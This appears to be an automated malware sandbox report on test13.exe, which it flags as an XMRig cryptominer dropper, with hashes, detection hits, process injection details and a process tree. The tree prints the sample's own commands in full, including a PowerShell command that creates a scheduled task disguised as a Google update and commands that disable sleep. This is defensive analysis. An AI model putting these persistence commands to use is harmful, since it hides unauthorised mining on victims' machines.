Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1799s -
max time network
1786s -
platform
windows10-1703_x64 -
resource
win10-20230220-en -
resource tags
arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system -
submitted
22/05/2023, 11:34
Static task
static1
Behavioral task
behavioral1
Sample
test13.exe
Resource
win10-20230220-en
windows10-1703-x64
12 signatures
1800 seconds
Behavioral task
behavioral2
Sample
test13.exe
Resource
win7-20230220-en
windows7-x64
13 signatures
1800 seconds
General
-
Target
test13.exe
-
Size
5.6MB
-
MD5
dd6511650167bd50c8baf3c321d68cd7
-
SHA1
b7a0cf91f251935969e75628c080bf38f694e6c6
-
SHA256
add2fd5a3d7d4280c417a6a195fcdca9fbf834329b644f9d84423f2413ac2d85
-
SHA512
da4ca577eaf56b2d459549156c89213d20cce9e2d2c24003a35e7f0753398dc4538d508cf276adedbc635808bec6ffd61b2c94a881ecbc6a66c5911e24d4a32c
-
SSDEEP
98304:tR4QavOFDCN/Li9/oDsBaSnEolKi8JBoazSzZMrq7g2FWO2kBcQf41/9UMbKTurd:tnaEDCNOp5EolKi8JTS2wg2FWO2kP41R
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
description pid Process procid_target PID 3640 created 3204 3640 test13.exe 50 PID 3640 created 3204 3640 test13.exe 50 PID 3640 created 3204 3640 test13.exe 50 PID 1304 created 3204 1304 updater.exe 50 PID 1304 created 3204 1304 updater.exe 50 PID 1304 created 3204 1304 updater.exe 50 PID 1304 created 3204 1304 updater.exe 50 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral1/memory/1304-215-0x00007FF694C50000-0x00007FF6951EA000-memory.dmp xmrig behavioral1/memory/3180-218-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-220-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-225-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-227-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-231-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-235-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-237-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-239-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-241-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-243-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-245-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-247-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-249-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-251-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-253-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-255-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-257-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-259-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-261-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-263-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-265-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-267-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-269-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-271-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-273-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-275-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-281-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-283-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-285-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig behavioral1/memory/3180-287-0x00007FF606180000-0x00007FF60696F000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1304 updater.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1304 set thread context of 3360 1304 updater.exe 86 PID 1304 set thread context of 3180 1304 updater.exe 87 -
Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 3640 test13.exe 3640 test13.exe 3640 test13.exe 3640 test13.exe 3652 powershell.exe 3652 powershell.exe 3652 powershell.exe 3640 test13.exe 3640 test13.exe 1304 updater.exe 1304 updater.exe 1304 updater.exe 1304 updater.exe 372 powershell.exe 372 powershell.exe 372 powershell.exe 1304 updater.exe 1304 updater.exe 1304 updater.exe 1304 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 644 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4340 powercfg.exe Token: SeCreatePagefilePrivilege 4340 powercfg.exe Token: SeShutdownPrivilege 4884 powercfg.exe Token: SeCreatePagefilePrivilege 4884 powercfg.exe Token: SeDebugPrivilege 3652 powershell.exe Token: SeShutdownPrivilege 2120 powercfg.exe Token: SeCreatePagefilePrivilege 2120 powercfg.exe Token: SeShutdownPrivilege 4392 powercfg.exe Token: SeCreatePagefilePrivilege 4392 powercfg.exe Token: SeIncreaseQuotaPrivilege 3652 powershell.exe Token: SeSecurityPrivilege 3652 powershell.exe Token: SeTakeOwnershipPrivilege 3652 powershell.exe Token: SeLoadDriverPrivilege 3652 powershell.exe Token: SeSystemProfilePrivilege 3652 powershell.exe Token: SeSystemtimePrivilege 3652 powershell.exe Token: SeProfSingleProcessPrivilege 3652 powershell.exe Token: SeIncBasePriorityPrivilege 3652 powershell.exe Token: SeCreatePagefilePrivilege 3652 powershell.exe Token: SeBackupPrivilege 3652 powershell.exe Token: SeRestorePrivilege 3652 powershell.exe Token: SeShutdownPrivilege 3652 powershell.exe Token: SeDebugPrivilege 3652 powershell.exe Token: SeSystemEnvironmentPrivilege 3652 powershell.exe Token: SeRemoteShutdownPrivilege 3652 powershell.exe Token: SeUndockPrivilege 3652 powershell.exe Token: SeManageVolumePrivilege 3652 powershell.exe Token: 33 3652 powershell.exe Token: 34 3652 powershell.exe Token: 35 3652 powershell.exe Token: 36 3652 powershell.exe Token: SeIncreaseQuotaPrivilege 3652 powershell.exe Token: SeSecurityPrivilege 3652 powershell.exe Token: SeTakeOwnershipPrivilege 3652 powershell.exe Token: SeLoadDriverPrivilege 3652 powershell.exe Token: SeSystemProfilePrivilege 3652 powershell.exe Token: SeSystemtimePrivilege 3652 powershell.exe Token: SeProfSingleProcessPrivilege 3652 powershell.exe Token: SeIncBasePriorityPrivilege 3652 powershell.exe Token: SeCreatePagefilePrivilege 3652 powershell.exe Token: SeBackupPrivilege 3652 powershell.exe Token: SeRestorePrivilege 3652 powershell.exe Token: SeShutdownPrivilege 3652 powershell.exe Token: SeDebugPrivilege 3652 powershell.exe Token: SeSystemEnvironmentPrivilege 3652 powershell.exe Token: SeRemoteShutdownPrivilege 3652 powershell.exe Token: SeUndockPrivilege 3652 powershell.exe Token: SeManageVolumePrivilege 3652 powershell.exe Token: 33 3652 powershell.exe Token: 34 3652 powershell.exe Token: 35 3652 powershell.exe Token: 36 3652 powershell.exe Token: SeIncreaseQuotaPrivilege 3652 powershell.exe Token: SeSecurityPrivilege 3652 powershell.exe Token: SeTakeOwnershipPrivilege 3652 powershell.exe Token: SeLoadDriverPrivilege 3652 powershell.exe Token: SeSystemProfilePrivilege 3652 powershell.exe Token: SeSystemtimePrivilege 3652 powershell.exe Token: SeProfSingleProcessPrivilege 3652 powershell.exe Token: SeIncBasePriorityPrivilege 3652 powershell.exe Token: SeCreatePagefilePrivilege 3652 powershell.exe Token: SeBackupPrivilege 3652 powershell.exe Token: SeRestorePrivilege 3652 powershell.exe Token: SeShutdownPrivilege 3652 powershell.exe Token: SeDebugPrivilege 3652 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe 3180 explorer.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 3672 wrote to memory of 4340 3672 cmd.exe 70 PID 3672 wrote to memory of 4340 3672 cmd.exe 70 PID 3672 wrote to memory of 4884 3672 cmd.exe 71 PID 3672 wrote to memory of 4884 3672 cmd.exe 71 PID 3672 wrote to memory of 2120 3672 cmd.exe 72 PID 3672 wrote to memory of 2120 3672 cmd.exe 72 PID 3672 wrote to memory of 4392 3672 cmd.exe 73 PID 3672 wrote to memory of 4392 3672 cmd.exe 73 PID 1132 wrote to memory of 4856 1132 cmd.exe 82 PID 1132 wrote to memory of 4856 1132 cmd.exe 82 PID 1132 wrote to memory of 2076 1132 cmd.exe 83 PID 1132 wrote to memory of 2076 1132 cmd.exe 83 PID 1132 wrote to memory of 4484 1132 cmd.exe 84 PID 1132 wrote to memory of 4484 1132 cmd.exe 84 PID 1132 wrote to memory of 1196 1132 cmd.exe 85 PID 1132 wrote to memory of 1196 1132 cmd.exe 85 PID 1304 wrote to memory of 3360 1304 updater.exe 86 PID 1304 wrote to memory of 3180 1304 updater.exe 87 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3204
-
C:\Users\Admin\AppData\Local\Temp\test13.exe"C:\Users\Admin\AppData\Local\Temp\test13.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3640
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4340
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4884
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2120
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4392
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#efgylltc#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3652
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:4768
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:4856
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:2076
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:4484
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:1196
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#efgylltc#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; }2⤵
- Suspicious behavior: EnumeratesProcesses
PID:372
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:3360
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3180
-
-
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exeC:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1304
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD539707b7265bbe2adef00d9915f61b4e9
SHA163437ea875211141e8b69df04783a940c6940fa5
SHA256646c544310171e543923f41907c7163da352bb06facf281b0edf05e24104a892
SHA512133b47657499283baf270ceb56818e0d0a949f704105af9cb56518ea76e5fea8748d80cb0f1afc33f1bf4b12ec51601cd96b71978a7b35b88296e599f374d450
-
Filesize
1KB
MD5ff6158e763bff122ff76cb34a61f2713
SHA1949512d525499803ebf81b58ba00ad4015291faf
SHA25646e1fbc19b276ba9d703ca35ef64d8ee3ee387ba436838ee8ba94dbeb6f6aed6
SHA512766c2ccc595593d0832501e7f7ff44286ff73e3c5d5af2e74cde33a3140a1ed88982b64d872575b5210e186a9608601b717306c0bf0a3a034f370899b22ca278
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
5.6MB
MD5dd6511650167bd50c8baf3c321d68cd7
SHA1b7a0cf91f251935969e75628c080bf38f694e6c6
SHA256add2fd5a3d7d4280c417a6a195fcdca9fbf834329b644f9d84423f2413ac2d85
SHA512da4ca577eaf56b2d459549156c89213d20cce9e2d2c24003a35e7f0753398dc4538d508cf276adedbc635808bec6ffd61b2c94a881ecbc6a66c5911e24d4a32c
-
Filesize
5.6MB
MD5dd6511650167bd50c8baf3c321d68cd7
SHA1b7a0cf91f251935969e75628c080bf38f694e6c6
SHA256add2fd5a3d7d4280c417a6a195fcdca9fbf834329b644f9d84423f2413ac2d85
SHA512da4ca577eaf56b2d459549156c89213d20cce9e2d2c24003a35e7f0753398dc4538d508cf276adedbc635808bec6ffd61b2c94a881ecbc6a66c5911e24d4a32c